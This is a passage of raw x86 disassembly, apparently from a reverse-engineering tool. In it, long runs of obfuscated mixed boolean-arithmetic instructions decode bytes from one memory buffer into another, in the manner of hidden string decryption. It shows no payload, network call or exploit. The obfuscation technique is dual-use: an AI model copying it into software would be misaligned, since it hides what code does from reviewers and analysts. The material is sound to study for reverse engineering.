xor dl, 0xff
or al, 0x4f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474979], dl
mov al, byte [0x4748fa]
mov dl, al
xor dl, 0xfc
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0xfc
shl dl, 1
sub dl, 0xfc
sub al, dl
mov byte [0x47497a], al
mov al, byte [0x4748fb]
xor al, 0xd5
mov byte [0x47497b], al
mov ah, byte [0x4748fc]
mov al, ah
xor al, 0xff
mov cl, ah
xor cl, 0xff
or al, cl
and al, 7
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and ah, 0xf8
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x3c
and al, 0xc3
or cl, al
xor cl, 0xc3
xor dl, 0xff
or cl, dl
mov byte [0x47497c], cl
mov al, byte [0x4748fd]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xc5
xor dl, 0xff
mov cl, al
and cl, 0x3a
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x3a
add dl, 0xc6
shl dl, 1
sub dl, 0xc5
sub al, dl
mov byte [0x47497d], al
mov bl, byte [0x4748fe]
mov al, bl
xor al, 0xe3
mov dl, al
xor dl, 0xff
and dl, 0xea
and al, 0x15
or dl, al
xor dl, 0x15
xor dl, 0xff
or dl, 0x1c
xor dl, 0xff
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xe3
sub bl, al
mov byte [0x47497e], bl
mov al, byte [0x4748ff]
xor al, 0x96
mov byte [0x47497f], al
mov al, byte [0x474900]
xor al, 0x34
mov byte [0x474980], al
mov al, byte [0x474901]
xor al, 0x1c
mov byte [0x474981], al
mov dl, byte [0x474902]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 4
xor al, 0xff
xor cl, 0xff
or cl, 0xfb
xor al, 0xff
xor cl, 0xff
or al, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xfb
or al, dl
mov cl, al
and cl, 0xa
shl cl, 1
add al, 0xa
sub al, cl
mov byte [0x474982], al
mov dl, byte [0x474903]
mov al, dl
xor al, 0xff
and al, 0xea
and dl, 0x15
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor al, 0xff
xor dl, 0xff
and al, dl
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x474983], ah
mov al, byte [0x474904]
xor al, 0xaa
mov byte [0x474984], al
mov dl, byte [0x474905]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 6
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 6
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x474985], al
mov al, byte [0x474906]
xor al, 0x66
mov byte [0x474986], al
mov ah, byte [0x474907]
mov cl, ah
or cl, cl
mov al, cl
xor al, 0xff
and al, 0x85
and cl, 0x7a
or al, cl
xor al, 0x7a
xor al, 0xff
and al, 0x91
mov dl, ah
xor dl, 0xff
and dl, 0x6e
or ah, 0x91
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
or ah, cl
xor al, 0xff
xor dl, 0xff
or al, dl
xor ah, 0xff
xor al, 0xff
or ah, al
mov byte [0x474987], ah
mov al, byte [0x474908]
xor al, 0x40
mov byte [0x474988], al
mov al, byte [0x474909]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x37
mov cl, al
xor cl, 0xc8
xor cl, 0xff
or al, 0xc8
and al, cl
or dl, al
mov byte [0x474989], dl
mov al, byte [0x47490a]
xor al, 0x96
mov byte [0x47498a], al
mov al, byte [0x47490b]
mov cl, al
xor cl, 0xff
and cl, 0x1b
and al, 0xe4
or cl, al
mov byte [0x47498b], cl
mov al, byte [0x47490c]
xor al, 0x27
mov byte [0x47498c], al
mov al, byte [0x47490d]
mov cl, al
and cl, 0x9e
shl cl, 1
add al, 0x9e
sub al, cl
mov byte [0x47498d], al
mov dl, byte [0x47490e]
mov al, dl
or al, al
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0xc0
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x3f
mov ah, al
or ah, dl
xor ah, 0xff
or al, dl
xor al, 0xff
or ah, al
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
mov byte [0x47498e], ah
mov al, byte [0x47490f]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xde
xor dl, 0xff
and al, 0x21
xor al, 0xff
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, al
mov byte [0x47498f], dl
mov al, byte [0x474910]
xor al, 0x91
mov byte [0x474990], al
mov al, byte [0x474911]
mov cl, al
xor cl, 0xff
and cl, 0x91
and al, 0x6e
or cl, al
xor cl, 0x48
mov byte [0x474991], cl
mov dl, byte [0x474912]
mov al, dl
and al, 0xff
shl al, 1
mov cl, dl
add cl, 0xff
sub cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0x55
xor al, 0xff
xor dl, 0xff
or dl, 0xaa
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
and cl, 0xed
shl cl, 1
add al, 0xed
sub al, cl
mov byte [0x474992], al
mov al, byte [0x474913]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x2d
xor dl, 0xff
and al, 0xd2
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474993], dl
mov bl, byte [0x474914]
mov dl, bl
xor dl, 0xee
xor dl, 0xff
and dl, 0xee
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xee
sub bl, al
mov byte [0x474994], bl
mov al, byte [0x474915]
mov dl, al
and dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0
and dl, cl
xor dl, 0xff
shl dl, 1
and al, 0xff
add al, 0xff
sub al, dl
mov byte [0x474995], al
mov dl, byte [0x474916]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, dl
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0xb0
xor al, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0x4f
xor dl, 0xff
and dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x474996], al
mov al, byte [0x474917]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xd3
and al, 0x2c
or dl, al
mov byte [0x474997], dl
mov al, byte [0x474918]
xor al, 0xf
mov byte [0x474998], al
mov al, byte [0x474919]
xor al, 0x2f
mov byte [0x474999], al
mov al, byte [0x47491a]
mov dl, al
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
or dl, ah
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x11
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, 0xee
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or dl, al
mov byte [0x47499a], dl
mov al, byte [0x47491b]
mov cl, al
xor cl, 0xff
and cl, 9
mov dl, al
and dl, 0xf6
or cl, dl
xor cl, 0xf6
and cl, 0xdd
and al, 0x22
or cl, al
mov byte [0x47499b], cl
mov al, byte [0x47491c]
mov dl, al
and dl, 0x58
shl dl, 1
add al, 0xb7
add al, 0x58
sub al, 0xb7
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x47499c], al
mov al, byte [0x47491d]
xor al, 0xaa
mov byte [0x47499d], al
mov al, byte [0x47491e]
mov cl, al
xor cl, 0x89
xor cl, 0xff
mov dl, al
or dl, 0x89
and dl, cl
shl dl, 1
sub al, 0x38
add al, 0x89
add al, 0x38
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x47499e], al
mov al, byte [0x47491f]
xor al, 0x2c
mov byte [0x47499f], al
mov al, byte [0x474920]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x48
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0x48
xor cl, 0xff
or dl, cl
xor dl, 0xab
mov byte [0x4749a0], dl
mov al, byte [0x474921]
xor al, 0x4d
mov byte [0x4749a1], al
mov bl, byte [0x474922]
mov al, bl
xor al, 0xff
mov cl, bl
xor cl, 0xff
and al, cl
or al, 9
xor al, 0xff
mov cl, bl
or cl, 0xf6
xor cl, 0xff
or al, cl
xor al, 0xff
mov dl, al
xor dl, 0xff
and dl, 7
and al, 0xf8
or dl, al
xor dl, 0xf8
and dl, 0xf6
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x3b
sub al, 0xf6
add al, 0x3b
sub bl, al
mov byte [0x4749a2], bl
mov al, byte [0x474923]
xor al, 0xa8
mov byte [0x4749a3], al
mov cl, byte [0x474924]
mov al, cl
xor al, 0xff
and al, 0xf
and cl, 0xf0
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x1f
and al, 0x1f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4749a4], dl
mov al, byte [0x474925]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x12
xor dl, 0xff
xor al, 0xff
or al, 0x12
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4749a5], dl
mov al, byte [0x474926]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
xor dl, 0xff
or dl, 0x93
and ah, 0x6c
xor ah, 0xff
and dl, ah
xor dl, 0xff
and al, 0x93
mov cl, dl
or cl, al
xor cl, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
or cl, dl
xor cl, 0xff
xor cl, 0x23
mov byte [0x4749a6], cl
mov al, byte [0x474927]
xor al, 0x93
mov byte [0x4749a7], al
mov al, byte [0x474928]
mov cl, al
xor cl, 0xff
and cl, 0x56
mov dl, al
and dl, 0xa9
or cl, dl
xor cl, 0x3f
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
or dl, dl
xor dl, 0xff
or dl, 0x96
xor dl, 0xff
shl dl, 1
add dl, 0x96
add dl, 1
sub al, dl
mov byte [0x4749a8], al
mov al, byte [0x474929]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xeb
or al, 0xeb
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4749a9], dl
mov al, byte [0x47492a]
mov cl, al
xor cl, 0xff
and cl, 0xab
and al, 0x54
or cl, al
mov byte [0x4749aa], cl
mov al, byte [0x47492b]
mov cl, al
xor cl, 0x62
and cl, al
shl cl, 1
add al, 0x9d
sub al, cl
mov byte [0x4749ab], al
mov bl, byte [0x47492c]
mov dl, bl
xor dl, 0x61
and dl, bl
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x62
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x4749ac], cl
mov al, byte [0x47492d]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, al
and cl, cl
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov ah, dl
and ah, 0xfe
xor dl, 0xfe
or ah, dl
and al, 0xfe
mov cl, al
xor cl, 0xff
and cl, 0x5b
and al, 0xa4
or cl, al
xor cl, 0xa4
and ah, cl
xor ah, 0xff
mov byte [0x4749ad], ah
mov al, byte [0x47492e]
xor al, 0xa0
mov byte [0x4749ae], al
mov al, byte [0x47492f]
xor al, 0xc0
mov byte [0x4749af], al
mov al, byte [0x474930]
xor al, 0xa2
mov byte [0x4749b0], al
mov al, byte [0x474931]
xor al, 0xdd
mov byte [0x4749b1], al
mov al, byte [0x474932]
xor al, 4
mov byte [0x4749b2], al
mov dl, byte [str.v_V_a]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0x6b
xor dl, 0xff
xor dl, 0xff
or dl, 0x6b
xor dl, 0xff
and dl, 0xff
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4749b3], al
mov al, byte [0x474934]
xor al, 0x34
mov byte [0x4749b4], al
mov al, byte [0x474935]
xor al, 0x4b
mov byte [0x4749b5], al
mov al, byte [0x474936]
mov cl, al
and cl, 0x1a
shl cl, 1
add al, 0x1a
sub al, cl
mov byte [0x4749b6], al
mov bl, byte [0x474937]
mov dl, bl
and dl, 0xae
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xae
sub bl, al
mov byte [0x4749b7], bl
mov dl, byte [0x474938]
mov ah, dl
and ah, ah
mov al, ah
and al, 0xff
shl al, 1
add ah, 0xff
sub ah, al
xor ah, 0xff
mov dh, ah
xor dh, 0xff
mov al, dh
and al, 0xde
and ah, 0x21
or al, ah
xor al, 0xbf
or dh, 0x9e
xor dh, 0xff
and dh, 0xff
or al, dh
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, 0x9e
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
and al, al
xor al, 0xff
and ah, ah
xor ah, 0xff
and al, ah
xor al, 0xff
mov byte [0x4749b8], al
mov al, byte [0x474939]
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
mov byte [0x4749b9], cl
mov al, byte [0x47493a]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x9b
mov dl, al
and dl, 0x64
or cl, dl
xor cl, 0x64
and ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xa8
xor dl, 0xff
xor dl, 0xff
or al, 0xa8
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, al
mov byte [0x4749ba], dl
mov al, byte [0x47493b]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x1b
xor al, 0xff
or al, 0xe4
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4749bb], dl
mov al, byte [0x47493c]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x32
xor al, 0xff
and al, 0xcd
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4749bc], dl
mov dl, byte [0x47493d]
mov al, dl
and al, al
xor al, 0xff
and al, 0x40
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xbf
mov ah, dl
xor ah, 0x40
add dl, ah
sub dl, cl
mov ah, al
and ah, dl
xor ah, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x4749bd], ah
mov al, byte [0x47493e]
mov cl, al
xor cl, 0xff
and cl, 0x89
and al, 0x76
or cl, al
mov byte [0x4749be], cl
mov al, byte [0x47493f]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x4c
xor dl, 0xff
xor al, 0xff
or al, 0x4c
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4749bf], dl
mov al, byte [0x474dc0]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x3f
or al, 0x3f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474ec0], dl
mov al, byte [0x474dc1]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xea
xor al, 0xff
and al, 0x15
or cl, al
xor cl, 0xff
mov byte [0x474ec1], cl
mov al, byte [0x474dc2]
xor al, 0x46
mov byte [0x474ec2], al
mov al, byte [0x474dc3]
xor al, 0xfa
mov byte [0x474ec3], al
mov al, byte [0x474dc4]
mov cl, al
xor cl, 0xff
and cl, 0x47
and al, 0xb8
or cl, al
mov byte [0x474ec4], cl
mov al, byte [0x474dc5]
xor al, 0xa7
mov byte [0x474ec5], al
mov al, byte [0x474dc6]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x9e
or al, 0x9e
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x474ec6], cl
mov al, byte [0x474dc7]
xor al, 0x22
mov byte [0x474ec7], al
mov al, byte [0x474dc8]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xde
mov cl, al
and cl, 0xde
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0x21
xor cl, 0xff
or dl, 0x21
and dl, cl
shl dl, 1
add dl, 0x4e
sub dl, 0x21
sub dl, 0x4e
sub al, dl
mov byte [0x474ec8], al
mov al, byte [0x474dc9]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
xor cl, 0x7e
mov byte [0x474ec9], cl
mov al, byte [0x474dca]
mov cl, al
xor cl, 0x36
xor cl, 0xff
and cl, 0x36
shl cl, 1
sub cl, 0x36
sub al, cl
mov byte [0x474eca], al
mov al, byte [0x474dcb]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xe8
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xe8
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
and ah, 0x17
shl ah, 1
sub ah, 0x17
sub al, ah
mov byte [0x474ecb], al
mov al, byte [0x474dcc]
mov cl, al
xor cl, 0xff
and cl, 0x53
and al, 0xac
or cl, al
xor cl, 0xcf
mov byte [0x474ecc], cl
mov cl, byte [0x474dcd]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x4c
xor cl, 0xff
and cl, 0xb3
or al, cl
xor al, 0xff
mov byte [0x474ecd], al
mov al, byte [0x474dce]
mov dl, al
or dl, dl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor dl, 0xff
and dl, 0x75
or al, 0x75
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, al
mov byte [0x474ece], dl
mov al, byte [0x474dcf]
xor al, 0xe3
mov byte [0x474ecf], al
mov al, byte [0x474dd0]
xor al, 0x99
mov byte [0x474ed0], al
mov al, byte [0x474dd1]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov ah, bl
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov dl, ah
and dl, 7
and bl, 0xf8
mov cl, bh
and cl, 7
and dh, 0xf8
or dl, bl
or cl, dh
xor dl, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or dl, ah
and dl, 0xee
xor dl, 0xff
and al, 0x11
xor al, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474ed1], dl
mov al, byte [0x474dd2]
xor al, 0x4c
mov byte [0x474ed2], al
mov al, byte [0x474dd3]
mov cl, al
and cl, 0x53
shl cl, 1
add al, 0x53
sub al, cl
mov byte [0x474ed3], al
mov al, byte [0x474dd4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x8a
xor dl, 0xff
xor al, 0xff
and al, 0x8a
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474ed4], dl
mov cl, byte [0x474dd5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xfe
xor al, 0xff
xor cl, 0xff
and cl, 0xfe
or al, cl
xor al, 0xff
mov byte [0x474ed5], al
mov al, byte [0x474dd6]
xor al, 0x7e
mov byte [0x474ed6], al
mov al, byte [0x474dd7]
xor al, 0
mov byte [0x474ed7], al
mov al, byte [0x474dd8]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x77
xor dl, 0xff
xor al, 0xff
and al, 0x77
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474ed8], dl
mov cl, byte [0x474dd9]
mov dl, cl
and dl, 0x63
shl dl, 1
xor eax, eax
sub al, cl
add al, 0x9d
xor ecx, ecx
sub cl, al
sub cl, dl
mov byte [0x474ed9], cl
mov al, byte [0x474dda]
mov cl, al
xor cl, 0xb
xor cl, 0xff
and cl, 0xb
shl cl, 1
sub cl, 0xb
sub al, cl
mov byte [0x474eda], al
mov al, byte [0x474ddb]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xb8
and al, 0x47
or dl, al
mov byte [0x474edb], dl
mov al, byte [0x474ddc]
mov cl, al
and cl, 0x8f
shl cl, 1
add al, 0x8f
sub al, cl
mov byte [0x474edc], al
mov al, byte [0x474ddd]
mov dl, al
xor dl, 0xff
and dl, 0x54
mov cl, al
and cl, 0xab
or dl, cl
xor dl, 0xab
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
or dl, dl
xor dl, 0xff
mov cl, ah
xor cl, 0xff
xor ah, 0xff
and cl, ah
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xbe
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0x41
xor dl, 0xff
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, al
mov byte [0x474edd], dl
mov bl, byte [0x474dde]
mov dl, bl
and dl, 0x30
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x76
add bl, 0x30
add bl, 0x76
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x474ede], bl
mov cl, byte [0x474ddf]
mov al, cl
xor al, 0xff
or al, 0x56
add al, 0xaa
mov dl, cl
xor dl, 0xa9
and dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x474edf], al
mov al, byte [0x474de0]
xor al, 0x12
mov byte [0x474ee0], al
mov al, byte [0x474de1]
mov cl, al
xor cl, 0xb2
xor cl, 0xff
and cl, 0xb2
shl cl, 1
sub cl, 0xb2
sub al, cl
mov byte [0x474ee1], al
mov al, byte [0x474de2]
mov cl, al
xor cl, 0xff
and cl, 0xfd
and al, 2
or cl, al
xor cl, 0x9a
mov byte [0x474ee2], cl
mov al, byte [0x474de3]
xor al, 0xfe
mov byte [0x474ee3], al
mov al, byte [0x474de4]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x93
xor al, 0xff
and al, 0x6c
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474ee4], dl
mov dl, byte [0x474de5]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, cl
add al, ah
or al, 0x69
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0x96
and cl, dl
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
xor al, 0xff
mov byte [0x474ee5], al
mov al, byte [0x474de6]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x91
xor al, 0xff
or al, 0x6e
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474ee6], dl
mov al, byte [0x474de7]
xor al, 0x25
mov byte [0x474ee7], al
mov al, byte [0x474de8]
mov cl, al
and cl, 0x66
shl cl, 1
add al, 0xd5
add al, 0x66
sub al, 0xd5
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x474ee8], al
mov al, byte [0x474de9]
mov cl, al
and cl, 0xbd
shl cl, 1
add al, 0xbd
sub al, cl
mov byte [0x474ee9], al
mov al, byte [0x474dea]
xor al, 0xd9
mov byte [0x474eea], al
mov al, byte [0x474deb]
mov cl, al
and cl, 0x9b
shl cl, 1
add al, 0x9b
sub al, cl
mov byte [0x474eeb], al
mov dl, byte [0x474dec]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xc2
xor cl, 0xff
or al, 0xc2
and al, cl
mov ah, dl
xor ah, 0xff
or ah, 0xc2
and dl, 0x3d
xor dl, 0xff
and ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and ah, ah
xor ah, 0xff
xor cl, 0xff
xor ah, 0xff
or cl, ah
mov byte [0x474eec], cl
mov al, byte [0x474ded]
xor al, 0xae
mov byte [0x474eed], al
mov al, byte [0x474dee]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x70
xor al, 0xff
or al, 0x8f
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474eee], dl
mov al, byte [0x474def]
xor al, 0xac
mov byte [0x474eef], al
mov al, byte [0x474df0]
xor al, 0x11
mov byte [0x474ef0], al
mov al, byte [0x474df1]
xor al, 0x21
mov byte [0x474ef1], al
mov al, byte [0x474df2]
xor al, 0x68
mov byte [0x474ef2], al
mov al, byte [0x474df3]
xor al, 0xf9
mov byte [0x474ef3], al
mov al, byte [0x474df4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xb5
xor dl, 0xff
xor al, 0xff
or al, 0xb5
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474ef4], dl
mov dl, byte [0x474df5]
mov cl, dl
or cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xd3
mov ah, dl
xor ah, 0xff
and ah, 0xe1
and dl, 0x1e
or ah, dl
xor ah, 0x1e
and ah, 0x2c
xor al, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, ah
add al, cl
mov byte [0x474ef5], al
mov al, byte [0x474df6]
and al, 0xff
or al, 0
mov byte [0x474ef6], al
mov al, byte [0x474df7]
mov cl, al
xor cl, 0xe7
xor cl, 0xff
and cl, 0xe7
shl cl, 1
sub cl, 0xe7
sub al, cl
mov byte [0x474ef7], al
mov al, byte [0x474df8]
